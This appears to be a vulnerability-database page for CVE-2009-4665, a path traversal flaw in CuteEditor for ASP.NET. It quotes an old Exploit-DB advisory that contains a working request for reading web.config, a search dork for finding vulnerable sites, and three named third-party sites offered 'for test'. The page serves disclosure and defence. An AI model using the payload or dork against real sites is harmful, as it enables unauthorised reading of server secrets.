CVE-2009-4665

medium

Published 2010-03-05 · Modified 2024-02-08

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

6.0

Description

CuteSoft CuteEditor Path Traversal vulnerability

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-8785 webapps asp verified text · 1 KB

Securitylab.ir · 2009-05-26

Cute Editor ASP.NET - Remote File Disclosure

text exploit Source: Exploit-DB

 ######################### Securitylab.ir ########################
# Application Info:
# Name: Cute Editor
# Version: ASP.NET
# Website: http://cutesoft.net
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Remote File Download
# Risk: Medium
# Dork: inurl:CuteSoft_Client/CuteEditor
#===========================================================
# http://www.site.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config
#===========================================================
#################################################################
# For test:
# http://cuteeditor.51aspx.com
# http://ttgo.cc/company
# http://www.auditon.co.il
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-05-26]

Package impact

Ecosystem	Package	Vulnerable	Fixed
NuGet	CuteEditor	`<6.6`	`6.6`

Application impact

Vendor	Product	Versions	Fixed
cutesoft_components	cute_editor_for_asp.net

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.